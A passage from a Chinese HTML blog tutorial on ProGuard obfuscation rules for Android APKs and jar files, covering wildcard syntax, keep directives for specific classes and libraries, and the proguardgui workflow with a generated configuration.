				通配符
			</th>
			<th style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;background-color:#EFF3F5;">
				描述
			</th>
		</tr>
	</thead>
	<tbody style="box-sizing:border-box;outline:0px;border:0px;word-break:break-all;">
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				&lt;field&gt;
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				匹配类中的所有字段
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;background-color:#F7F7F7;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				&lt;method&gt;
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				匹配类中的所有方法
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				&lt;init&gt;
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				匹配类中的所有构造函数
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;background-color:#F7F7F7;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				*
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				匹配任意长度字符，但不含包名分隔符(.)。比如说我们的完整类名是com.example.test.MyActivity，使用com.*，或者com.exmaple.*都是无法匹配的，因为*无法匹配包名中的分隔符，正确的匹配方式是com.exmaple.*.*，或者com.exmaple.test.*，这些都是可以的。但如果你不写任何其它内容，只有一个*，那就表示匹配所有的东西。
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				**
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				匹配任意长度字符，并且包含包名分隔符(.)。比如proguard-android.txt中使用的-dontwarn android.support.**就可以匹配android.support包下的所有内容，包括任意长度的子包。
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;background-color:#F7F7F7;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				***
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				匹配任意参数类型。比如void set*(***)就能匹配任意传入的参数类型，*** get*()就能匹配任意返回值的类型。
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				…
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				匹配任意长度的任意类型参数。比如void test(…)就能匹配任意void test(String a)或者是void test(int a, String b)这些方法。
			</td>
		</tr>
	</tbody>
</table>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	虽说上面表格已经解释的很详细了，但是很多人对于keep和keepclasseswithmembers这两个关键字的区别还是搞不懂。确实，它们之间用法有点太像了，我做了很多次试验它们的结果都是相同的。其实唯一的区别就在于类中声明的成员存不存在，我们还是通过一个例子来直接地看一下，先看keepclasseswithmember关键字：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">-keepclasseswithmember class * {  native &lt;methods&gt;;
}</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	这段代码的意思其实很明显，就是保留所有含有native方法的类的类名和native方法名，而如果某个类中没有含有native方法，那就还是会被混淆。&nbsp;
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	但是如果改成keep关键字，结果会完全不一样：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">-keep class * {  native &lt;methods&gt;;
}</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	使用keep关键字后，你会发现代码中所有类的类名都不会被混淆了，因为keep关键字看到class *就认为应该将所有类名进行保留，而不会关心该类中是否含有native方法。当然这样写只会保证类名不会被混淆，类中的成员还是会被混淆的。&nbsp;
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	比较难懂的用法大概就这些吧，掌握了这些内容之后我们就能继续前进了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
回到Android Studio项目当中，刚才打出的APK虽然已经成功混淆了，但是混淆的规则都是按照proguard-android.txt中默认的规则来的，当然我们也可以修改proguard-android.txt中的规则，但是直接在proguard-android.txt中修改会对我们本机上所有项目的混淆规则都生效，那么有没有什么办法只针对当前项目的混淆规则做修改呢？当然是有办法的了，你会发现任何一个Android Studio项目在app模块目录下都有一个proguard-rules.pro文件，这个文件就是用于让我们编写只适用于当前项目的混淆规则的，那么接下来我们就利用刚才学到的所有知识来对混淆规则做修改吧。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
这里我们先列出来要实现的目标：
</p>
<ul style="box-sizing:border-box;outline:0px;padding:0px;margin:0px 0px 24px;list-style:none;word-break:break-all;">
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		对MyFragment类进行完全保留，不混淆其类名、方法名、以及变量名。
	</li>
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		对Utils类中的未调用方法进行保留，防止其被移除掉。
	</li>
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		对第三方库进行保留，不混淆android-support库，以及LitePal库中的代码。
	</li>
</ul>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	下面我们就来逐一实现这些目标。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
首先要对MyFragment类进行完全保留可以使用keep关键字，keep后声明完整的类名，然后保留类中的所有内容可以使用*通配符实现，如下所示：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">-keep class com.example.guolin.androidtest.MyFragment {
    *; }</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	然后保留Utils类中的未调用方法可以使用keepclassmembers关键字，后跟Utils完整类名，然后在内部声明未调用的方法，如下所示：最后不要混淆第三方库，目前我们使用了两种方式来引入第三方库，一种是通过本地jar包引入的，一种是通过remote引入的，其实这两种方式没什么区别，要保留代码都可以使用**这种通配符来实现，如下所示：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">-keepclassmembers class com.example.guolin.androidtest.Utils {
    public void methodUnused(); }</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	最后不要混淆第三方库，目前我们使用了两种方式来引入第三方库，一种是通过本地jar包引入的，一种是通过remote引入的，其实这两种方式没什么区别，要保留代码都可以使用**这种通配符来实现，如下所示：所有内容都在这里了，现在我们重新打一个正式版的APK文件，然后再反编译看看效果：&nbsp;
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">-keep class org.litepal.** {  *;
}

-keep class android.support.** {  *;
}</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	所有内容都在这里了，现在我们重新打一个正式版的APK文件，然后再反编译看看效果：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160309225842296" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
可以看到，现在android-support包中所有代码都被保留下来了，不管是包名、类名、还是方法名都没有被混淆。LitePal中的代码也是同样的情况：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160309230132784" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
再来看下MyFragment中的代码，如下所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160309230332887" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
可以看到，MyFragment中的代码也没有被混淆，按照我们的要求被完全保留下来了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
最后再来看一下Utils类中的代码：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160309230528216" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
很明显，Utils类并没有被完全保留下来，类名还是被混淆了，methodNormal()方法也被混淆了，但是methodUnused()没有被混淆，当然也没有被移除，因为我们的混淆配置生效了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
经过这些例子的演示，相信大家已经对Proguard的用法有了相当不错的理解了，那么根据自己的业务需求来去编写混淆配置相信也不是什么难事了吧？&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<p>
	Progaurd的使用非常灵活，基本上能够覆盖你所能想到的所有业务逻辑。这里再举个例子，之前一直有人问我使用LitePal时的混淆配置怎么写，其实真的很简单，LitePal作为开源库并不需要混淆，上面的配置已经演示了如何不混淆LitePal代码，然后所有代码中的Model是需要进行反射的，也不能混淆，那么只需要这样写就行了：
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;"> </span>
</p>
<pre class="prettyprint lang-js linenums">-keep class * extends org.litepal.crud.DataSupport { *;
}</pre>
<br />
<p>
	<br />
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;">因为LitePal中所有的Model都是应该继承DataSupport类的，所以这里我们将所有继承自DataSupport的类都进行保留就可以了。&nbsp;</span> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	关于混淆APK的用法就讲这么多，如果你还想继续了解关于Proguard的更多用法，可以参考官方文档：<a href="http://proguard.sourceforge.net/index.html#manual/usage.html" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">http://proguard.sourceforge.net/index.html#manual/usage.html</a> 
</p>
<h2 id="混淆jar" style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:24px;color:#4F4F4F;line-height:32px;word-break:break-all;">
	<a name="t2"></a>混淆Jar
</h2>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	在本篇文章的第二部分我想讲一讲混淆Jar包的内容，因为APK不一定是我们交付的唯一产品。就比如说我自己，我在公司是负责写SDK的，对于我来说交付出去的产品就是Jar包，而如果Jar包不混淆的话将会很容易就被别人反编译出来，从而泄漏程序逻辑。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
实际上Android对混淆Jar包的支持在很早之前就有了，不管你使用多老版本的SDK，都能在 &lt;Android SDK&gt;/tools目录下找到proguard这个文件夹。然后打开里面的bin目录，你会看到如下文件：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160310231053316" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
其中proguardgui.bat文件是允许我们以图形化的方式来对Jar包进行混淆的一个工具，今天我们就来讲解一下这个工具的用法。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
在开始讲解这个工具之前，首先我们需要先准备一个Jar包，当然你从哪里搞到一个Jar包都是可以的，不过这里为了和刚才的混淆逻辑统一，我们就把本篇文章中的项目代码打成一个Jar包吧。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
Eclipse中导出Jar包的方法非常简单，相信所有人都会，可是Android Studio当中就比较让人头疼了，因为Android Studio并没有提供一个专门用于导出Jar包的工具，因此我们只能自己动手了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<p>
	我们需要知道，任何一个Android Studio项目，只要编译成功之后就会在项目模块的build/intermediates/classes/debug目录下生成代码编译过后的class文件，因此只需通过打包命令将这些class文件打包成Jar包就行了，打开cmd，切换到项目的根目录，然后输入如下命令：
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;"> </span>
</p>
<pre class="prettyprint lang-js linenums">jar -cvf androidtest.jar -C app/build/intermediates/classes/debug .</pre>
<br />
<p>
	<br />
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;">在项目的根目录下就会生成androidtest.jar这个文件，这样我们就把Jar包准备好了。&nbsp;</span> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	现在双击proguardgui.bat打开混淆工具，如果是Mac或Ubuntu系统则使用sh proguardgui.sh命令打开混淆工具，界面如下图所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160312190016290" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
其实从主界面上我们就能看出，这个Proguard工具支持Shrinking、Optimization、Obfuscation、Preverification四项操作，在左侧的侧边栏上也能看到相应的这些选项。Proguard的工作机制仍然还是要依赖于配置文件，当然我们也可以通过proguardgui工具来生成配置文件，不过由于配置选项太多了，每个都去一一设置太复杂，而且大多数还都是我们用不到的配置。因此最简单的方式就是直接拿现有的配置文件，然后再做些修改就行了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
那么我们从&lt;Android SDK&gt;/tools/proguard目录下将proguard-android.txt文件复制一份出来，然后点击主界面上的Load configuration按钮来加载复制出来的这份proguard-android.txt文件，完成后点击Next将进入Input/Output界面。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
Input/Output界面是用于导入要混淆的Jar包、配置混淆后文件的输出路径、以及导入该Jar包所依赖的所有其它Jar包的。我们要混淆的当然就是androidtest.jar这个文件，那么这个Jar包又依赖了哪些Jar包呢？这里就需要整理一下了。
<ul style="box-sizing:border-box;outline:0px;padding:0px;margin:0px 0px 24px;list-style:none;word-break:break-all;">
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		首先我们写的都是Java代码，Java代码的运行要基于Jre基础之上，没有Jre计算机将无法识别Java的语法，因此第一个要依赖的就是Jre的rt.jar。
	</li>
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		然后由于我们导出的Jar包中有Android相关的代码，比如Activity、Fragment等，因此还需要添加Android的编译库，android.jar。
	</li>
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		除此之外，我们使用的AppCompatActivity和Fragment分别来自于appcompat-v7包和support-v4包，那么这两个Jar包也是需要引入的。
	</li>
	<li style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 0px 32px;list-style-type:disc;word-break:break-all;">
		最后就是代码中还引入了litepal-1.3.1.jar。
	</li>
</ul>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	整理清楚了之后我们就来一个个添加，Input/Output有上下两个操作界面，上面是用于导入要混淆的Jar包和配置混淆后文件的输出路径的，下面则是导入该Jar包所依赖的所有其它Jar包的，全部导入后结果如下图所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160312201710712" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
这些依赖的Jar包所存在的路径每台电脑都不一样，你所需要做的就是在你自己的电脑上成功找到这些依赖的Jar包并导入即可。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
不过细心的朋友可能会发现，我在上面整理出了五个依赖的Jar包，但是在图中却添加了六个。这是我在写这篇文章时碰到的一个新的坑，也是定位了好久才解决的，我觉得有必要重点提一下。由于我平时混淆Jar包时里面很少会有Activity，所以没遇到过这个问题，但是本篇文章中的演示Jar包中不仅包含了Activty，还是继承自AppCompatActivity的。而AppCompatActivity的继承结构并不简单，如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160312204407738" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
其中AppCompatActivity是在appcompat-v7包中的，它的父类FragmentActivity是在support-v4包中的，这两个包我们都已经添加依赖了。但是FragmentActivity的父类就坑爹了，如果你去看BaseFragmentActivityHoneycomb和BaseFragmentActivityDonut这两个类的源码，你会发现它们都是在support-v4包中的：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160312205140269" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160312205157303" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
可是如果你去support-v4的Jar包中找一下，你会发现压根就没有这两个类，所以我当时一直混淆报错就是因为这两个类不存在，继承结构在这里断掉了。而这两个类其实被规整到了另外一个internal的Jar包中，所以当你要混淆的Jar包中有Activity，并且还是继承自AppCompatActivity或FragmentActivity的话，那么就一定要记得导入这个internal Jar包的依赖，如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160312210100619" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
接下来点击Next进入Shrink界面，这个界面没什么需要配置的东西，但记得要将Shrink选项钩掉，因为我们这个Jar包是独立存在的，没有任何项目引用，如果钩中Shrink选项的话就会认为我们所有的代码都是无用的，从而把所有代码全压缩掉，导出一个空的Jar包。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
继续点击Next进入Obfuscation界面，在这里可以添加一些混淆的逻辑，和混淆APK时不同的是，这里并不会自动帮我们排除混淆四大组件，因此必须要手动声明一下才行。点击最下方的Add按钮，然后在弹出的界面上编写排除逻辑，如下图所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160312220931102" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
很简单，就是在继承那一栏写上android.app.Activity就行了，其它的组件原理也相同。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
继续点击Next进入Optimiazation界面，不用修改任何东西，因为我们本身就不启用Optimization功能。继续点击Next进入Information界面，也不用修改任何东西，因为我们也不启用Preverification功能。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<p>
	接着点击Next，进入Process界面，在这里可以通过点击View configuration按钮来预览一下目前我们的混淆配置文件，内容如下所示：
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;"> </span>
</p>
<pre class="prettyprint lang-js linenums">-injars /Users/guolin/AndroidStudioProjects/AndroidTest/androidtest.jar
-outjars /Users/guolin/androidtest_obfuscated.jar

-libraryjars /Library/Java/JavaVirtualMachines/jdk1.7.0_79.jdk/Contents/Home/jre/lib/rt.jar
-libraryjars /Users/guolin/Library/Android/sdk/platforms/android-23/android.jar
-libraryjars /Users/guolin/AndroidStudioProjects/AndroidTest/app/build/intermediates/exploded-aar/com.android.support/appcompat-v7/23.2.0/jars/classes.jar
-libraryjars /Users/guolin/AndroidStudioProjects/AndroidTest/app/build/intermediates/exploded-aar/com.android.support/support-v4/23.2.0/jars/classes.jar
-libraryjars /Users/guolin/AndroidStudioProjects/AndroidTest/app/build/intermediates/exploded-aar/com.android.support/support-v4/23.2.0/jars/libs/internal_impl-23.2.0.jar
-libraryjars /Users/guolin/AndroidStudioProjects/AndroidTest/app/libs/litepal-1.3.1.jar

-dontshrink
-dontoptimize
-dontusemixedcaseclassnames
-keepattributes *Annotation*
-dontpreverify
-verbose
-dontwarn android.support.**


-keep public class com.google.vending.licensing.ILicensingService -keep public class com.android.vending.licensing.ILicensingService # keep setters in Views so that animations can still work.
# see http://proguard.sourceforge.net/manual/examples.html#beans -keepclassmembers public class * extends android.view.View { void set*(***);
    *** get*();
}

# We want to keep methods in Activity that could be used in the XML attribute onClick
-keepclassmembers class * extends android.app.Activity { public void *(android.view.View);
}

-keepclassmembers class * extends android.os.Parcelable { public static final android.os.Parcelable$Creator CREATOR;
}

-keepclassmembers class **.R$* { public static &lt;fields&gt;;
}

-keep class * extends android.app.Activity -keep class * extends android.app.Service -keep class * extends android.content.BroadcastReceiver -keep class * extends android.content.ContentProvider # Also keep - Enumerations. Keep the special static methods that are required in
# enumeration classes.
-keepclassmembers enum  * {
    public static **[] values();
    public static ** valueOf(java.lang.String);
}

# Keep names - Native method names. Keep all native class/method names.
-keepclasseswithmembers,allowshrinking class * { native &lt;methods&gt;;
}</pre>
<br />
<p>
	<br />
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;">恩，由此可见其实GUI工具只是给我们提供了一个方便操作的平台，背后工作的原理还是通过这些配置来实现的，相信上面的配置内容大家应该都能看得懂了吧。&nbsp;</span> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	接下来我们还可以点击Save configuration按钮来保存一下当前的配置文件，这样下次混淆的时候就可以直接Load进来而不用修改任何东西了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
最后点击Process!按钮来开始混淆处理，中间会提示一大堆的Note信息，我们不用理会，只要看到最终显示Processing completed successfully，就说明混淆Jar包已经成功了，如下图所示：&nbsp;
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160312223044035" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
混淆后的文件我将它配置在了/Users/guolin/androidtest_obfuscated.jar这里，如果反编译一下这个文件，你会发现和刚才反编译APK得到的结果是差不多的：MainActivity的类名以及从父类继承的方法名不会被混淆，NativeUtils的类名和其中的native方法名不会被混淆，Utils的methodUnsed方法不会被移除，因为我们禁用了Shrink功能，其余的代码都会被混淆。由于结果实在是太相似了，我就不再贴图了，参考本篇文章第一部分的截图即可。
